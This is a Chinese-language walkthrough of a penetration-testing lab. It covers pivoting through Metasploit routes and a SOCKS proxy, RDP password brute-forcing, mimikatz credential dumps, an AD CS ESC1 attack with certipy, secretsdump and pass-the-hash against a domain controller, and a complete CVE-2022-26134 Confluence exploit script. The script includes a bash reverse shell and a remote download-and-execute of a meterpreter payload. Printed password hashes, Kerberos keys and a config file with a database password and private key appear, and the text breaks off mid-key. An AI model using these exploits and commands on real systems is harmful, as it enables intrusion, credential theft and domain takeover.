其中10.6.6.55被识别为域控制器10.6.6.88是域成员,主机名cyberweb,属于域CYBERSTRIKELAB10.6.6.55: 报告了一个漏洞 poc-yaml-active-directory-certsrv-detect。这强烈暗示该服务器上运行着 Active Directory 证书服务 (AD CS),是后续攻击的关键入口。设置路由,配置代理meterpreter > run post/multi/manage/autoroute [*] Running module against WIN-784BAKDI0AC (172.5.33.6) [*] Searching for subnets to autoroute. [+] Route added to subnet 10.6.6.0/255.255.255.0 from host's routing table. [+] Route added to subnet 172.5.33.0/255.255.255.0 from host's routing table. meterpreter > bg [*] Backgrounding session 2... msf exploit(multi/handler) > use auxiliary/server/socks_proxy msf auxiliary(server/socks_proxy) > set VERSION 5 VERSION => 5 msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(server/socks_proxy) > run -j [*] Auxiliary module running as background job 1. [*] Starting the SOCKS proxy server 配置系统代理配置文件proxychains4.conf┌──(root㉿kali)-[/data/windows_atk/domain_atk] └─# tail -n \6 /etc/proxychains4.conf [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080 第二台fscan定向扫描,端口,发现3389能进行爆破,administrator密码为qwe123!@#C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.88 -p 1-10000 fscan.exe -h 10.6.6.88 -p 1-10000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.6.6.88 is alive [*] Icmp alive hosts len is: 1 10.6.6.88:445 open 10.6.6.88:139 open 10.6.6.88:135 open 10.6.6.88:3389 open 10.6.6.88:5985 open [*] alive ports len is: 5 start vulscan [+] NetInfo: [*]10.6.6.88 [->]cyberweb [->]10.6.6.88 [*] 10.6.6.88 (Windows Server 2016 Standard 14393) [*] WebTitle:http://10.6.6.88:5985 code:404 len:315 title:Not Found [*] 10.6.6.88 CYBERSTRIKELAB\CYBERWEB Windows Server 2016 Standard 14393 已完成 3/5 [-] (18/210) rdp 10.6.6.88:3389 administrator administrator1 remote error: tls: access denied 已完成 4/5 [-] (36/210) rdp 10.6.6.88:3389 administrator 123456789 remote error: tls: access denied 已完成 4/5 [-] (54/210) rdp 10.6.6.88:3389 administrator Aa12345 remote error: tls: access denied [+] RDP:10.6.6.88:3389:administrator qwe123!@# 已完成 5/5 [*] 扫描结束,耗时: 4m8.7461024s 在桌面找到第二个flag第三台看样子需要利用域控相关的漏洞了,永恒之蓝失败use exploit/multi/handler set rhost 10.6.6.88 run 共享data目录(便于传输文件),然后将正向马传上去,并执行proxychains rdesktop 10.6.6.88 -r disk:shell=/data 提权meterpreter > getuid Server username: CYBERWEB\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 抓取域内hashC:\Users\Administrator\Desktop>mimikatz.exe mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords User Name : CYBERWEB$ Domain : CYBERSTRIKELAB NTLM : 5e0d5d7bacf2087dfd44ea47812b5165 User Name : CYBERWEB$ Domain : CYBERSTRIKELAB NTLM : 331dcbb88d1a4847c97eab7c1c168ac8 User Name : Administrator Domain : CYBERWEB NTLM : c377ba8a4dd52401bc404dbe49771bbc 在这个3.bat文件中发现了一个账号密码,cslab / cs1ab@wwe第三台:ADCSADCS是横向移动到域控制器的常见路径3.1 侦察ADCS服务之前fscan扫出来的[+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect 表明可能存在AD证书服务再次上线getsystem,获取一个系统权限的cmd,获取一下CA名字(需要提权到system),执行 certutil名称为 cyberstrikelab-DC-CA获取到CA名称后,我们需要确定攻击入口,并且寻找可利用的漏洞,比如ESC1漏洞┌──(root㉿kali)-[/data/demo] └─# proxychains certipy-ad find -u 'cslab@10.6.6.55' -password 'cs1ab@wwe' -dc-ip 10.6.6.55 -vulnerable -stdout [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:636 ... OK [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:10.6.6.55@53 answered The DNS operation timed out.; Server Do53:10.6.6.55@53 answered The DNS operation timed out.; Server Do53:10.6.6.55@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'cyberstrikelab-DC-CA' via RRP [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:445 <--socket error or timeout! [-] Failed to connect to remote registry: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused [-] Use -debug to print a stacktrace [!] Failed to get CA configuration for 'cyberstrikelab-DC-CA' via RRP: 'NoneType' object has no attribute 'request' [!] Use -debug to print a stacktrace [!] Could not retrieve configuration for 'cyberstrikelab-DC-CA' [*] Checking web enrollment for CA 'cyberstrikelab-DC-CA' @ 'DC.cyberstrikelab.com' [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:443 ... OK [*] Enumeration output: Certificate Authorities 0 CA Name : cyberstrikelab-DC-CA DNS Name : DC.cyberstrikelab.com Certificate Subject : CN=cyberstrikelab-DC-CA, DC=cyberstrikelab, DC=com Certificate Serial Number : 652A47597C7F03824B7815EBE474E40B Certificate Validity Start : 2025-04-22 07:45:38+00:00 Certificate Validity End : 2030-04-22 07:55:38+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Unknown Request Disposition : Unknown Enforce Encryption for Requests : Unknown Active Policy : Unknown Disabled Extensions : Unknown Certificate Templates 0 Template Name : DC Display Name : DC Certificate Authorities : cyberstrikelab-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-04-22T07:58:11+00:00 Template Last Modified : 2025-04-22T07:58:11+00:00 Permissions Enrollment Permissions Enrollment Rights : CYBERSTRIKELAB.COM\Domain Users CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Enterprise Admins CYBERSTRIKELAB.COM\Authenticated Users Object Control Permissions Owner : CYBERSTRIKELAB.COM\Administrator Full Control Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Owner Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Dacl Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Property Enroll : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Enterprise Admins [+] User Enrollable Principals : CYBERSTRIKELAB.COM\Authenticated Users CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Domain Users [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. 参数来源/原因作用proxychains之前建立的代理配置让命令流量通过跳板机(10.6.6.10)进入内网certipy-ad工具选择专门用于AD证书服务攻击的工具find子命令查找证书模板和证书颁发机构(CA)-u 'cslab@10.6.6.55'从mimikatz获得使用域用户cslab,@后可以是IP或域名-password 'cs1ab@wwe'从mimikatz/3.bat获得cslab用户的密码-dc-ip 10.6.6.55fscan扫描结果指定域控制器的IP地址-vulnerable攻击目标只显示存在已知漏洞的证书模板-stdout输出选项将结果输出到终端从结果中看出,存在ESC1漏洞Template Name: DC Enabled: True Client Authentication: True Enrollee Supplies Subject: True # ESC1漏洞关键点 Enrollment Rights: CYBERSTRIKELAB.COM\Domain Users # cslab可申请 Vulnerabilities: ESC1 3.2 利用ESC1漏洞3.2.1 创建机器账户(临时)利用cslab这个域用户在目标域中创建一个新的机器账户,结果会返回一个临时用户tmpuser$和密码信息proxychains certipy-ad -debug account create -u 'cslab@cyberstrikelab.com' -p 'cs1ab@wwe' -dc-ip 10.6.6.55 -user tmpuser -dns DC.cyberstrikelab.com 参数来源/原因作用account create子命令在域中创建新的机器账户-user tmpuser自定义创建名为tmpuser$的机器账户-dns DC.cyberstrikelab.com从fscan结果获得设置机器账户的DNS主机名为什么要创建?Machine模板限制:有些证书模板(如Machine)只允许机器账户申请 隐蔽性:避免直接使用cslab账户进行敏感操作 权限要求:机器账户可以申请更广泛的证书类型 3.2.2 以机器账户请求证书通过新创建的机器账户 tmpuser$ 向目标域控制器(10.6.6.55)的证书颁发机构(CA)申请一个 机器证书(要多运行几次,运行一次可能成功不了)proxychains certipy-ad req \ -u 'tmpuser$@cyberstrikelab.com' \ -p 'kQb8YIJOWcKq69w5' \ -ca 'cyberstrikelab-DC-CA' \ -target 10.6.6.55 \ -template 'Machine' \ -dc-ip 10.6.6.55 参数来源/原因作用req子命令请求证书-u 'tmpuser$@...'上一步创建使用新创建的机器账户-p 'kQb8YIJOWcKq69w5'上一步输出机器账户的密码-ca 'cyberstrikelab-DC-CA'certipy find结果证书颁发机构的名称-target 10.6.6.55fscan扫描结果CA服务器的IP地址-template 'Machine'侦察发现利用存在漏洞的模板用dc.pfx 证书文件向域控制器 (10.6.6.55) 进行身份认证,却报了Kerberos时钟偏差,攻击机和域控时间是不能相差5分钟以上的┌──(root㉿kali)-[/data/demo] └─# proxychains certipy-ad auth -pfx dc.pfx -dc-ip 10.6.6.55 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN DNS Host Name: 'DC.cyberstrikelab.com' [*] Using principal: 'dc$@cyberstrikelab.com' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) [-] Use -debug to print a stacktrace [-] See the wiki for more information 3.2.3 修复Kerberos时间偏差查询域控时间proxychains net time -S 10.6.6.55 3.2.4 使用证书进行身份验证修改时间参数,这样就能执行成功了┌──(root㉿kali)-[/data/demo] └─# faketime '2025-12-11 22:57:01' proxychains certipy-ad -debug auth -pfx dc.pfx -dc-ip 10.6.6.55 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations [+] Nameserver: '10.6.6.55' [+] DC IP: '10.6.6.55' [+] DC Host: '' [+] Target IP: '10.6.6.55' [+] Remote Name: '10.6.6.55' [+] Domain: '' [+] Username: '' [*] Certificate identities: [*] SAN DNS Host Name: 'DC.cyberstrikelab.com' [*] Using principal: 'dc$@cyberstrikelab.com' [*] Trying to get TGT... [+] Sending AS-REQ to KDC cyberstrikelab.com (10.6.6.55) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [*] Got TGT [*] Saving credential cache to 'dc.ccache' [+] Attempting to write data to 'dc.ccache' [+] Data written to 'dc.ccache' [*] Wrote credential cache to 'dc.ccache' [*] Trying to retrieve NT hash for 'dc$' [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [*] Got hash for 'dc$@cyberstrikelab.com': aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa 参数来源/原因作用auth子命令使用证书进行Kerberos认证-pfx dc.pfx上一步生成包含私钥的证书文件-debug调试选项显示详细过程信息认证过程:证书提交:向域控(10.6.6.55)提交dc.pfx证书身份验证:证书证明申请者是DC$(域控制器机器账户)TGT获取:成功获取DC$的Kerberos票证授予票证(TGT)哈希提取:从TGT中提取DC$的NTLM哈希3.2.5 获取NTLM哈希用域控的机器账号 dc$ 的 NT 哈希,进行 Pass-the-Hash 身份验证,尝试从域控中提取所有域用户的凭据信息(如 NTLM 哈希等)。┌──(root㉿kali)-[/data/demo] └─# proxychains impacket-secretsdump cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:445 ... OK [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:49669 ... OK Administrator:500:aad3b435b51404eeaad3b435b51404ee:28cfbc91020438f2a064a63fff9871fa::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cyberstrikelab.com\cslab:1104:aad3b435b51404eeaad3b435b51404ee:39b0e84f13872f51efb3b8ba5018c517::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa::: CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:7e5d2858c617c4ccf32b28241dc5b8b2::: tmpuser$:1105:aad3b435b51404eeaad3b435b51404ee:6fe8e4da8776622663eed7aba05de2f7::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:8583c13a9eca67e085ff0b68af74316bef0ebd3fb197bb235b76cbb72358f2ef Administrator:aes128-cts-hmac-sha1-96:6012285d474e3b60086965219ac7e31c Administrator:des-cbc-md5:208fc8f42fae3132 krbtgt:aes256-cts-hmac-sha1-96:0b820697b640266ced6843c4041131c1e3750000e00d47c0c597a82547927337 krbtgt:aes128-cts-hmac-sha1-96:c8f683e4cf2033fd75416667670e13bb krbtgt:des-cbc-md5:23dc674a76bf7adc cyberstrikelab.com\cslab:aes256-cts-hmac-sha1-96:34439b0bf9f6e1bf57d4d859215ed387a9c75e944ac053ddd1bc2f1e5b162048 cyberstrikelab.com\cslab:aes128-cts-hmac-sha1-96:84a132b5db39e2e652c08b8148fecb00 cyberstrikelab.com\cslab:des-cbc-md5:46f457ef2aad0e08 DC$:aes256-cts-hmac-sha1-96:2292c30804bdf9a61d170f48d38b30d3f843bb8310677ac7116e925f663edcbd DC$:aes128-cts-hmac-sha1-96:b583afdc96a04ec0ceda8dffdfa2e883 DC$:des-cbc-md5:a75801e31943a2dc CYBERWEB$:aes256-cts-hmac-sha1-96:c0418d75b0ef82607eadcd0f4793441aa17fc71df788e83a531ae87ce2cc92d9 CYBERWEB$:aes128-cts-hmac-sha1-96:3c602f53a3722c0a602a5adf2114354a CYBERWEB$:des-cbc-md5:6d5dd3261f38c862 tmpuser$:aes256-cts-hmac-sha1-96:952c1a920206e3a5852ea56dfdde77acb8270bf12628c29a7f702a9cdc8fb081 tmpuser$:aes128-cts-hmac-sha1-96:1174b1ae9d7f4b04fd5eef81bcbd2144 tmpuser$:des-cbc-md5:795d80ec58cdd5a8 [*] Cleaning up... 参数来源/原因作用impacket-secretsdump工具选择远程提取密码哈希的工具cyberstrikelab.com/dc\$@10.6.6.55目标指定使用dc$账户连接域控-hashes ...上一步获得提供dc$的LM和NTLM哈希dc\$中的\Shell转义防止$被Shell解释为变量3.2.6 PTHPTH,拿下域控,在根目录获取最后的flag┌──(root㉿kali)-[/data/demo] └─# proxychains impacket-psexec -hashes :28cfbc91020438f2a064a63fff9871fa cyberstrikelab.com/administrator@10.6.6.55 cyberstrikelab-lab11Atlassian Confluence 7.13.6找到nday exp#!/usr/bin/python3 # coding: utf-8 # CVE2022-26134 # by: lxxl import urllib import requests import re import sys from bs4 import BeautifulSoup import urllib3 urllib3.disable_warnings() import argparse def check(url): r = requests.get(url + "/login.action", verify=False) if (r.status_code == 200): filter_version = re.findall("<span id='footer-build-information'>.*</span>", r.text) if (len(filter_version) >= 1): version = filter_version[0].split("'>")[1].split('</')[0] return version else: return False else: return url def exploit(url, command): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*', } r = requests.get( url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22' + command + '%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False) if (r.status_code == 302): return r.headers['X-Cmd-Response'] else: return False def shell(): shell = ip + "/" + port shell1 = "'bash','-c','bash -i >& " exp = shell1 + "/dev/tcp/" + shell + " 0>&1'" payload1 = '''${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command(''' payload2 = exp + ''').start()")}/''' payloads = payload1 + payload2 s = urllib.parse.quote(payloads) return s if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE2022-26134') parser.add_argument('-u', '--url', help='target url', required=False) parser.add_argument('-c', '--command', help='command', required=False) parser.add_argument('-i', '--lhost', help='type', required=False) parser.add_argument('-p', '--lport', help='type', required=False) args = parser.parse_args() cmd = args.command ip = args.lhost port = args.lport if (len(sys.argv) < 3): print("USE: python3 " + sys.argv[0] + " -u https://target.com -c command") print("ex: python3 " + sys.argv[0] + " -u https://target.com -i your.ip -p your.port") if (sys.argv[3] == "-i"): target = args.url ip = args.lhost port = args.lport e = requests.get(target + shell(), verify=False) if e.status_code == 200 or e.status_code == 302: print("[+] exploit success") else: print("[-] exploit failed") else: target = args.url cmd = cmd.replace("'", "") version = check(target) print("============ GET Confluence Version ============") if (version): print("Version: " + version) else: print("Version: Not Found") print(exploit(target, cmd)) 执行效果,等等,是root!看来这是一台linux系统┌──(root㉿kali)-[/data/demo] └─# python exp.py -u http://172.3.3.13:8090/ -c whoami ============ GET Confluence Version ============ Version: 7.13.6 root 生成shell,准备上线msf(当然也可以添加一个用户上线)msfvenom.bat -p linux/x64/meterpreter/bind_tcp RHOST=172.3.3.13 LPORT=4444 -f elf -o shell 远程下载,并执行┌──(root㉿kali)-[/data/demo] └─# python exp.py -u http://172.3.3.13:8090/ -c "wget 172.16.233.2:8000/shell" ============ GET Confluence Version ============ Version: 7.13.6 ┌──(root㉿kali)-[/data/demo] └─# python exp.py -u http://172.3.3.13:8090/ -c "chmod +x shell" ============ GET Confluence Version ============ Version: 7.13.6 ┌──(root㉿kali)-[/data/demo] └─# python exp.py -u http://172.3.3.13:8090/ -c "./shell" ============ GET Confluence Version ============ Version: 7.13.6 上线meterpretermsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 172.3.3.13; set LPORT 4444; exploit -j -z" 发现两张网卡,分别是172.3.3.13/24 10.10.10.22/24 配置路由meterpreter > run post/multi/manage/autoroute [*] Running module against localhost.localdomain (172.3.3.13) [*] Searching for subnets to autoroute. [+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table. [+] Route added to subnet 172.3.3.0/255.255.255.0 from host's routing table. 设置代理,方便主机访问对方内网服务use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j msf主机存活内网扫描use auxiliary/scanner/portscan/tcp set rhosts 10.10.10.0/24 set PORTS 22,80,445,135,3389,1433,3306 run 扫出来另外两个ip,10.10.10.66,10.10.10.5对这两个ip单独进行端口扫描use auxiliary/scanner/portscan/tcp set rhosts 10.10.10.66 set PORTS 1-15000 run 扫描结果msf auxiliary(scanner/portscan/tcp) > set rhosts 10.10.10.66 rhosts => 10.10.10.66 msf auxiliary(scanner/portscan/tcp) > run [+] 10.10.10.66 - 10.10.10.66:135 - TCP OPEN [+] 10.10.10.66 - 10.10.10.66:139 - TCP OPEN [+] 10.10.10.66 - 10.10.10.66:445 - TCP OPEN [+] 10.10.10.66 - 10.10.10.66:5985 - TCP OPEN [*] 10.10.10.66 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 扫 10.10.10.22set rhosts 10.10.10.5 run 扫描结果msf auxiliary(scanner/portscan/tcp) > set rhosts 10.10.10.5 rhosts => 10.10.10.5 msf auxiliary(scanner/portscan/tcp) > run [+] 10.10.10.5 - 10.10.10.5:53 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:80 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:88 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:135 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:139 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:389 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:445 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:464 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:593 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:636 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:3268 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:3269 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:5985 - TCP OPEN [+] 10.10.10.5 - 10.10.10.5:9389 - TCP OPEN 使用enum4linux对域内主机smb服务进行枚举proxychains enum4linux-ng -A 10.10.10.66 -C 看到.5这台机器可能是域控主机,而66是cslab子域proxychains enum4linux-ng -A 10.10.10.5 -C 永痕之蓝失败,那么继续信息收集,在web这台linux机器上pwd /data/wiki/confluence cat confluence.cfg.xml <?xml version="1.0" encoding="UTF-8"?> <confluence-configuration> <setupStep>complete</setupStep> <setupType>custom</setupType> <buildNumber>8703</buildNumber> <properties> <property name="admin.ui.allow.daily.backup.custom.location">false</property> <property name="admin.ui.allow.manual.backup.download">false</property> <property name="admin.ui.allow.site.support.email">false</property> <property name="atlassian.license.message">AAABgA0ODAoPeJxtUU1vozAQvftXIO2xIjXQAIlkaRPwtpEgSZuQ3eRm6CRYCwbZJl349UsJvbSV5 uL35Hkf82PfgBGz1sCugR/meDp3ZgYN94aN7SkKJDDNKxEyDeQdMXE/LqJXVjQDQ86sUIBCUJnk9 YAkouAl1/BqFDwDocBIWyPXulbz+/su5wVMeIU28sIEV7clX9isEucJyzS/AtGyARRUQvdvGjNek K7rfqZpOsmqEo0aT0zlJA7egl9PZdrFYNd8263a39p/9OrAs5M/p6Jb5M9rvY/D1yZ+ZnfyEMIlo cdjGtmP1/ZCyE12p5nUIMdkAxTdRPZtDWtWAgk2cUxfgtUiQr0hoUEwkQH9V3PZjl35MxN7/aDx7 yok0Src0bUZWd6DO7V8z5lhx0c7kFeQPb1c2jNzSw8nMzm5S5NuXYr+QnsAqd47slyMPew7jvWx8 nu9bSOznCn4fLOxqI919i3ZuilTkJtzonqcmBbqHZJvXI79D+mHK/0H7Oa5FzAsAhQuYZcnjQl9D MmNlMa6f1tdRt8sVQIUVnDQ9RBPBsMJ1wdKCAl7xVMCbcw=X02im</property> <property name="attachments.dir">${confluenceHome}/attachments</property> <property name="confluence.setup.locale">zh_CN</property> <property name="confluence.setup.server.id">BB29-PEVZ-UZ6B-EP6E</property> <property name="confluence.webapp.context.path"></property> <property name="hibernate.c3p0.acquire_increment">1</property> <property name="hibernate.c3p0.idle_test_period">100</property> <property name="hibernate.c3p0.max_size">60</property> <property name="hibernate.c3p0.max_statements">0</property> <property name="hibernate.c3p0.min_size">20</property> <property name="hibernate.c3p0.timeout">30</property> <property name="hibernate.c3p0.validate">true</property> <property name="hibernate.connection.driver_class">com.mysql.jdbc.Driver</property> <property name="hibernate.connection.isolation">2</property> <property name="hibernate.connection.password">confdsdgfd</property> <property name="hibernate.connection.url">jdbc:mysql://localhost/confluence</property> <property name="hibernate.connection.username">confluenceuser</property> <property name="hibernate.database.lower_non_ascii_supported">true</property> <property name="hibernate.dialect">com.atlassian.confluence.impl.hibernate.dialect.MySQLDialect</property> <property name="hibernate.setup">true</property> <property name="jwt.private.key">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